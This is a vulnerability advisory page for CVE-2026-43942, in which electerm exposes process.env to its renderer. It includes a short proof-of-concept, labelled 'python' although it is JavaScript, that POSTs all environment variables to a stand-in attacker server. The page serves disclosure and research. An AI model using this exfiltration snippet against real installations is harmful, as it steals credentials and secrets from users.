Security Vulnerability Report
中文
CVE-2026-43942 CVSS 5.5 MEDIUM

CVE-2026-43942

Published: 2026-05-08 04:16:24
Last Modified: 2026-05-08 19:17:16

Description

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. In versions 3.8.15 and prior, the getConstants() IPC handler in src/app/lib/ipc-sync.js serialises the entire process.env object and sends it to the renderer. The data is stored as window.pre.env and is accessible from any JavaScript running in the renderer (e.g., via the DevTools console or a compromised webview context). An attacker who achieves any JavaScript execution within the renderer can trivially exfiltrate these secrets to a remote server, leading to cloud account compromise, supply chain attacks, and lateral movement. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:* - VULNERABLE
electerm <= 3.8.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-43942 // Run this in the Electerm renderer process (e.g., DevTools Console) function exploit() { // Access the exposed environment variables if (window.pre && window.pre.env) { console.log("[+] Vulnerability confirmed. Leaking environment variables..."); // Exfiltrate data to a remote server controlled by the attacker const data = JSON.stringify(window.pre.env); fetch('https://attacker-controlled-server.com/exfil', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }) .then(response => console.log("[+] Data successfully exfiltrated")) .catch(error => console.error("[-] Exfiltration failed", error)); } else { console.log("[-] Target not vulnerable or window.pre.env is missing."); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43942", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:23.640", "lastModified": "2026-05-08T19:17:15.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. In versions 3.8.15 and prior, the getConstants() IPC handler in src/app/lib/ipc-sync.js serialises the entire process.env object and sends it to the renderer. The data is stored as window.pre.env and is accessible from any JavaScript running in the renderer (e.g., via the DevTools console or a compromised webview context). An attacker who achieves any JavaScript execution within the renderer can trivially exfiltrate these secrets to a remote server, leading to cloud account compromise, supply chain attacks, and lateral movement. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.8.15", "matchCriteriaId": "F236D6E0-CA4E-4FDB-AC8A-4AA1314FE5A7"}]}]}], "references": [{"url": "https://github.com/electerm/electerm/security/advisories/GHSA-37j4-88rp-2f6h", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}